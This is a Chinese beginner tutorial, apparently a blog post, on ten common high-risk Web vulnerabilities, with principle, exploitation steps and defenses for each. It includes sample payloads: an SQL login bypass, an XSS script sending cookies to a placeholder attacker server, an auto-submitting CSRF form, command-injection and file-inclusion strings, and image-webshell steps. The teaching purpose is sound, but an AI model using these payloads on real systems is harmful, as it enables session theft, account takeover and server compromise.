一文总结Web领域常见的十大高危漏洞:新手掌握即超越99%的人!

在网络安全领域,漏洞挖掘是渗透测试的核心能力,而 80% 的实战场景中,高频出现的漏洞仅占 10 类。对于零基础新手而言,无需盲目钻研上千个冷门漏洞,吃透这十大核心漏洞的原理、利用方式与防御逻辑,就能快速具备实战能力,轻松应对靶场练习、SRC 提交乃至企业安全测试场景。本文将从漏洞本质出发,结合实战场景拆解每类漏洞,附清晰利用流程与防御方案,助力新手快速通关。

一、十大高危漏洞核心概览(附危害等级与出现频率)

以下十大漏洞均来自 OWASP Top 10 官方统计与企业实战高频场景,覆盖 Web 应用、服务器、内网环境等核心测试领域,新手可按 “危害高→出现频率高” 的顺序优先掌握:

在这里插入图片描述

漏洞名称危害等级核心风险高频场景
SQL 注入高危数据库数据泄露、服务器控制权窃取登录页、搜索框、数据查询接口
XSS 跨站脚本高危Cookie 窃取、会话劫持、钓鱼攻击评论区、用户资料页、表单提交框
逻辑漏洞(越权 / 支付)高危权限滥用、财产损失、数据泄露订单支付、用户中心、后台管理系统
文件上传漏洞高危服务器 getshell、恶意代码植入头像上传、附件上传、资源分享功能
CSRF 跨站请求伪造中高危非授权操作(改密码、转账)个人设置、支付确认、数据提交接口
SSRF 服务器端请求伪造中高危内网资源探测、端口扫描、服务攻击图片爬虫、第三方接口调用、文件下载功能
命令注入高危服务器命令执行、控制权窃取网络工具(ping/traceroute)、系统管理功能
文件包含漏洞中高危代码执行、敏感文件读取模板加载、文件预览、动态页面渲染
反序列化漏洞高危代码执行、服务器控制权窃取框架序列化接口、数据传输模块
弱口令 / 凭据泄露中危账号被盗、权限滥用登录页、远程登录(SSH/RDP)、数据库访问

二、十大漏洞深度拆解(原理 + 利用 + 防御 + 新手避坑)

1. SQL 注入漏洞:数据库的 “致命漏洞”

漏洞原理

由于用户输入未经过滤或过滤不彻底,直接拼接到 SQL 查询语句中,导致攻击者可通过构造恶意 SQL 语句,篡改查询逻辑、获取敏感数据甚至控制数据库服务器。核心本质是 “输入数据被当作代码执行”。

典型场景与利用流程
  • 场景:某网站登录页的 SQL 查询语句为 SELECT * FROM user WHERE username='$username' AND password='$password',攻击者输入 admin' or 1=1# 作为用户名,密码任意,语句拼接后变为 SELECT * FROM user WHERE username='admin' or 1=1#' AND password='',逻辑恒真,直接登录成功。
  • 利用步骤:
    1. 信息收集:判断输入点(如 URL 参数、表单字段)是否可能存在注入;
    2. 注入点测试:用单引号(')、双引号(")测试,观察页面是否报错(如 SQL 语法错误);
    3. 数据提取:用 Union 查询、盲注(时间 / 布尔)获取数据库名、表名、字段名,最终导出数据;
    4. 权限提升:若数据库权限较高,可执行 xp_cmdshell(Windows)或 system()(Linux)命令,控制服务器。
防御方案
  • 核心方案:使用参数化查询(PreparedStatement),避免 SQL 语句拼接;
  • 辅助方案:输入过滤(过滤单引号、Union、OR 等关键字)、最小权限原则(数据库账号仅授予查询权限)、开启数据库错误屏蔽(不向用户返回具体 SQL 错误信息)。
新手避坑

不要依赖 “输入过滤” 作为唯一防御手段,攻击者可通过编码(如 URL 编码)、关键字变形(如 UNION 写成 Uniuon)绕过过滤;优先使用参数化查询,从根源杜绝注入。


2. XSS 跨站脚本漏洞:网页的 “恶意脚本注入”

漏洞原理

攻击者将恶意 JavaScript 脚本注入到网页中,当其他用户访问该页面时,脚本被浏览器执行,实现窃取 Cookie、劫持会话、钓鱼欺诈等攻击。核心本质是 “用户输入的脚本被浏览器信任并执行”。

分类与典型场景
  • 反射型 XSS:脚本通过 URL 参数注入,仅在当前请求中生效(如搜索框输入 <script>alert('xss')</script>,结果页直接执行);
  • 存储型 XSS:脚本被存储到服务器数据库(如评论区输入 <script src="http://黑客服务器/steal.js"></script>),所有访问该页面的用户都会触发;
  • DOM 型 XSS:通过篡改页面 DOM 结构触发(如通过 URL 参数控制页面元素内容,注入脚本)。
利用流程与防御方案
  • 核心利用:构造窃取 Cookie 的脚本 <script>document.location.href='http://黑客服务器/steal?cookie='+document.cookie</script>,注入后获取用户会话 Cookie,实现会话劫持;
  • 防御方案:
    1. 输入过滤:过滤 <script>onclicksrc 等危险标签和属性;
    2. 输出编码:将用户输入的特殊字符(如 < 转义为 <),使其无法被浏览器解析为脚本;
    3. 开启 CSP(内容安全策略):限制网页加载的脚本来源,仅允许信任的域名执行脚本。
新手避坑

存储型 XSS 危害远大于反射型,需重点关注用户可提交内容的功能(评论、资料、留言);不要忽视 DOM 型 XSS,即使做了输入过滤,若前端直接用 URL 参数渲染页面,仍可能触发漏洞。


3. 逻辑漏洞(越权 / 支付):业务流程的 “隐形漏洞”

漏洞原理

由于业务逻辑设计缺陷,导致攻击者可绕过正常权限校验或业务规则,实现越权操作、财产损失等攻击。这类漏洞不依赖技术漏洞,工具难以扫描,需结合业务流程分析。

常见类型与场景
  • 水平越权:同级别用户可访问其他用户的数据(如修改 URL 中 user_id=1user_id=2,查看他人订单);
  • 垂直越权:低权限用户可访问高权限功能(如普通用户直接访问 /admin 后台,或通过修改请求头 Role=admin 提升权限);
  • 支付逻辑漏洞:篡改支付金额、重复使用优惠券、跳过支付步骤(如订单提交后直接修改 price=1,或取消订单后未回收优惠券)。
利用流程与防御方案
  • 支付漏洞利用步骤:
    1. 提交订单,抓包获取支付请求(含金额参数 amount=1000);
    2. 用 Burp Suite 修改金额为 amount=1,重放请求;
    3. 完成支付,验证订单是否生效。
  • 防御方案:
    1. 权限校验:后端对每个请求的用户权限进行严格校验,不依赖前端传参(如 user_id 从登录会话中获取,而非 URL 参数);
    2. 业务规则校验:关键参数(金额、订单状态)在后端二次校验,避免前端篡改;
    3. 日志审计:对敏感操作(支付、权限变更)记录日志,便于追溯异常行为。
新手避坑

逻辑漏洞无法通过工具扫描发现,需 “模拟用户操作 + 拆解业务流程”;重点关注核心业务(支付、订单、权限管理),测试时多尝试 “跳过步骤、篡改参数、重复操作”。


4. 文件上传漏洞:服务器的 “后门入口”

漏洞原理

文件上传功能未对上传文件的类型、后缀名、内容进行严格校验,导致攻击者可上传恶意脚本文件(如 PHP 木马、ASP 后门),并通过访问该文件获取服务器控制权。

常见绕过方式
  • 后缀名绕过:将恶意文件后缀改为 .php5.phtml.asp;.jpg(利用服务器解析漏洞),绕过黑名单过滤;
  • MIME 类型绕过:前端限制文件类型为图片(image/jpeg),攻击者用 Burp 修改请求头 Content-Typeimage/jpeg,上传 PHP 文件;
  • 文件内容绕过:将 PHP 木马嵌入图片文件(图片马),上传后通过服务器解析漏洞(如 Apache 的 .htaccess 配置)执行脚本。
利用流程与防御方案
  • 图片马利用步骤:
    1. 制作图片马:copy 1.jpg /b + shell.php /a webshell.jpg(Windows 命令),将 PHP 木马嵌入图片;
    2. 上传图片马,获取文件访问路径(如 /upload/webshell.jpg);
    3. 利用服务器解析漏洞(如 Apache 允许 .htaccess 配置),让服务器将图片文件解析为 PHP 脚本;
    4. 用蚁剑连接 http://目标/upload/webshell.jpg,获取服务器 shell。
  • 防御方案:
    1. 后缀名白名单:仅允许上传 .jpg.png.gif 等安全后缀,拒绝黑名单;
    2. 文件内容校验:校验文件头部(如 JPG 文件头部为 FF D8 FF),拒绝恶意脚本内容;
    3. 存储隔离:上传文件存储在独立服务器或云存储,禁止执行脚本;
    4. 文件名随机化:将上传文件名改为随机字符串(如 a3f57d.jpg),避免攻击者猜测路径。
新手避坑

不要仅依赖前端文件类型限制,攻击者可轻易篡改请求;图片马的核心是 “服务器解析漏洞”,若服务器不解析非脚本后缀的文件,图片马无法生效。


5. CSRF 跨站请求伪造:身份认证的 “漏洞陷阱”

漏洞原理

攻击者利用用户已登录的会话状态,诱导用户访问恶意链接或页面,发起非授权的 HTTP 请求(如修改密码、转账)。核心本质是 “服务器仅验证会话 Cookie,未验证请求是否由用户主动发起”。

典型场景与利用流程
  • 场景

    某网站修改密码的请求为

    POST /change_pwd
    

    ,参数为

    new_pwd=123456
    

    ,仅验证登录 Cookie。攻击者构造恶意页面,包含自动提交的表单:

    <form action="http://目标网站/change_pwd" method="POST">
      <input type="hidden" name="new_pwd" value="hacker123">
    </form>
    <script>document.forms[0].submit();</script>
    
  • 利用步骤:

    1. 攻击者诱导已登录用户访问该恶意页面;
    2. 页面自动提交修改密码请求,服务器验证 Cookie 有效,执行修改操作;
    3. 攻击者获取新密码,劫持用户账号。
防御方案
  • 核心方案:添加 CSRF Token(随机字符串),服务器验证请求中的 Token 与用户会话中的 Token 一致才执行操作;
  • 辅助方案:验证 Referer/Origin 请求头(仅允许来自本网站的请求)、要求二次验证(如修改密码时输入原密码)。
新手避坑

CSRF 漏洞依赖 “用户已登录” 和 “诱导访问”,需同时满足;Token 必须是随机且不可预测的,若 Token 固定或可猜测,仍可能被绕过。


6. SSRF 服务器端请求伪造

漏洞原理

服务器端提供了从外部获取资源的功能(如图片爬虫、文件下载),但未对请求的目标地址进行校验,导致攻击者可通过该功能探测内网资源、扫描端口、攻击内网服务。

典型场景与利用流程
  • 场景:某网站提供 “图片转存” 功能,用户输入图片 URL,服务器下载后存储。攻击者输入 http://127.0.0.1:3306(本地 MySQL 端口),服务器发起请求,返回端口状态。
  • 利用方向:
    1. 内网探测:访问 http://192.168.1.1(内网路由器)、http://172.17.0.1:8080(内网服务);
    2. 端口扫描:遍历内网 IP 和端口(如 http://192.168.1.100:22 检测 SSH 端口);
    3. 服务攻击:访问内网 Redis 服务,执行写文件命令,植入后门。
防御方案
  • 核心方案:限制请求目标地址,仅允许访问公网域名,禁止访问内网 IP(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16);
  • 辅助方案:禁止请求高危端口(22、3306、8080 等)、使用白名单限制可访问的域名、对返回内容进行校验(仅允许图片等预期资源)。
新手避坑

SSRF 的核心危害是 “穿透外网访问内网”,需重点关注 “服务器主动发起外部请求” 的功能;不要忽视 “URL 跳转” 功能,若未校验跳转目标,也可能导致 SSRF(如 http://目标网站/redirect?url=http://127.0.0.1)。


7. 命令注入漏洞

漏洞原理

服务器端代码将用户输入作为系统命令的一部分执行,且未对输入进行过滤,导致攻击者可通过拼接恶意命令,执行服务器系统命令(如查看文件、控制进程)。

典型场景与利用流程
  • 场景:某网站提供 “ping 测试” 功能,用户输入 IP,服务器执行命令 ping $ip。攻击者输入 127.0.0.1 && ls /,拼接后命令变为 ping 127.0.0.1 && ls /,执行 ping 后列出根目录文件。
  • 常用命令拼接符:
    • &&:前命令成功执行后,执行后命令;
    • ||:前命令失败后,执行后命令;
    • |:将前命令输出作为后命令输入;
    • ;:分隔多个命令,依次执行。
防御方案
  • 核心方案:避免直接将用户输入作为命令执行,使用安全的 API(如 Python 的 subprocess 模块的 shell=False 参数);
  • 辅助方案:输入过滤(过滤 &&||| 等命令分隔符)、白名单限制(仅允许输入 IP 地址格式的字符)、最小权限原则(服务器执行命令的账号仅授予最小权限)。
新手避坑

命令注入常出现在 “系统管理工具”“网络测试功能” 中,测试时可尝试输入 127.0.0.1 && whoami 验证;不要依赖输入过滤,攻击者可通过编码(如 URL 编码)绕过,优先使用安全 API。

8. 文件包含漏洞

漏洞原理

服务器端代码使用动态文件包含功能(如 PHP 的 include()require()),且包含的文件路径由用户控制,未做校验,导致攻击者可包含恶意文件(如本地敏感文件、远程恶意脚本),实现代码执行或信息泄露。

分类与利用流程
  • 本地文件包含(LFI):包含服务器本地文件(如 http://目标/?file=/etc/passwd,读取 Linux 系统用户文件);
  • 远程文件包含(RFI):包含远程服务器上的恶意脚本(如 http://目标/?file=http://黑客服务器/malicious.php,执行远程脚本)。
  • 利用步骤(LFI):
    1. 找到文件包含漏洞点(如 URL 参数 file=index.php);
    2. 构造路径 file=../../../../etc/passwd(目录遍历),读取敏感文件;
    3. 若服务器允许包含 PHP 文件,可结合文件上传漏洞,上传恶意文件后包含执行。
防御方案
  • 核心方案:禁止用户控制包含文件的路径,或使用白名单限制可包含的文件(如仅允许包含 home.phpabout.php);
  • 辅助方案:过滤路径中的 ../http:// 等危险字符、关闭远程文件包含功能(如 PHP 的 allow_url_include=Off)。
新手避坑

本地文件包含常与 “目录遍历” 结合,测试时可尝试拼接 ../ 遍历目录;远程文件包含依赖服务器配置,若关闭 allow_url_include,则无法利用,需优先测试本地文件包含。


9. 反序列化漏洞

漏洞原理

序列化是将对象转换为字符串便于存储 / 传输的过程,反序列化则是将字符串还原为对象。若服务器端未对反序列化的输入进行校验,攻击者可构造恶意序列化字符串,触发代码执行、权限提升等攻击。

典型场景与利用流程
  • 场景:某网站使用 PHP 的 unserialize() 函数处理用户输入的 data 参数,攻击者构造包含恶意代码的序列化字符串,提交后服务器反序列化时执行代码。
  • 核心条件:
    1. 存在可控制的反序列化输入点;
    2. 反序列化的类中存在危险的魔术方法(如 PHP 的 __construct()__destruct()__wakeup())。
  • 利用步骤:
    1. 分析目标系统使用的框架或类,找到存在危险魔术方法的类;
    2. 构造恶意对象,序列化后生成字符串;
    3. 将序列化字符串作为输入提交,触发反序列化执行恶意代码。
防御方案
  • 核心方案:避免将用户可控的输入直接传入反序列化函数,或对输入进行严格校验;
  • 辅助方案:使用安全的序列化格式(如 JSON)替代 PHP 序列化、Java 序列化,限制反序列化的类范围、监控反序列化过程中的异常行为。
新手避坑

反序列化漏洞技术门槛较高,新手可先聚焦 PHP、Java 框架的已知漏洞(如 Struts2 的反序列化漏洞);这类漏洞常出现在框架接口、数据传输模块,测试时可关注 datapayload 等可疑参数。


10. 弱口令 / 凭据泄露

漏洞原理

用户使用简单、易猜测的密码(如 123456admin@123),或服务器 / 应用程序泄露凭据(如配置文件泄露数据库密码、日志文件泄露登录账号),导致攻击者可轻易获取权限。

典型场景与利用流程
  • 弱口令场景:后台登录页使用 admin/adminroot/root 等弱口令,攻击者通过暴力破解工具(Hydra、Burp Intruder)遍历密码;
  • 凭据泄露场景:服务器配置文件 config.php 泄露数据库账号密码,或 GitHub 仓库泄露源码中的硬编码凭据。
  • 暴力破解步骤:
    1. 确定目标登录接口(如 /login);
    2. 准备账号字典(adminroottest)和密码字典(top1000 弱口令);
    3. 用 Burp Intruder 设置参数,批量尝试登录,观察响应状态(如登录成功返回 200 OK)。
防御方案
  • 弱口令防御:强制密码复杂度(长度≥8 位,包含字母 + 数字 + 特殊字符)、限制登录失败次数(如 5 次后锁定账号)、定期更换密码;
  • 凭据泄露防御:避免硬编码凭据到源码、配置文件设置严格权限(如 Linux 下 config.php 权限设为 600)、定期审计代码和服务器,排查泄露风险。
新手避坑

弱口令是最容易被忽略但危害极大的漏洞,测试时优先尝试弱口令登录;凭据泄露常隐藏在配置文件、日志、源码仓库中,可通过 Google Hacking(如 inurl:config.php filetype:php)搜索泄露信息。

三、新手实战落地建议:从靶场到 SRC 的进阶路径

掌握十大漏洞后,需通过实战巩固技能,避免 “纸上谈兵”,推荐以下落地路径:

1. 靶场练习(优先顺序)

  • 基础靶场:DVWA(覆盖 SQL 注入、XSS、文件上传等基础漏洞)、SQLI-LAB(专注 SQL 注入)、Upload-Lab(专注文件上传);
  • 进阶靶场:VulnHub(模拟真实企业内网环境)、WebGoat(OWASP 官方靶场,覆盖逻辑漏洞、CSRF 等);
  • 实战靶场:各大 SRC 平台的 “测试专区”(合法实战,积累漏洞报告经验)。

2. 漏洞挖掘优先级

  • 第一步:重点测试高频漏洞(SQL 注入、XSS、文件上传、逻辑漏洞),覆盖 80% 实战场景;
  • 第二步:针对性测试目标功能(如登录页测弱口令、上传功能测文件上传、支付功能测逻辑漏洞);
  • 第三步:尝试挖掘低频但高危漏洞(SSRF、反序列化),提升竞争力。

3. 新手避坑总结

  • 不要依赖工具:工具仅能辅助扫描,逻辑漏洞、DOM 型 XSS 等需手动分析;
  • 合法实战:仅在授权环境(靶场、SRC)测试,避免触碰法律红线;
  • 重视防御思维:挖掘漏洞的同时,思考防御方案,提升技术深度;
  • 持续积累:将漏洞分析、利用过程记录为笔记,形成自己的知识库。

结语:掌握核心漏洞,快速跻身实战派

网络安全漏洞挖掘的核心是 “抓重点”,新手无需追求掌握所有漏洞,吃透这十大高频高危漏洞,就能应对绝大多数实战场景。关键在于 “理解原理 + 反复实战”—— 先在靶场复现漏洞,再尝试在 SRC 平台提交有效漏洞,逐步积累实战经验。

随着技术的积累,可进一步深耕细分领域(如代码审计、内网渗透),但十大漏洞始终是渗透测试的 “基本功”。坚持 “原理 + 实战 + 防御” 三位一体的学习方式,新手可快速超越 99% 的同行,成为具备实战能力的安全从业者。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值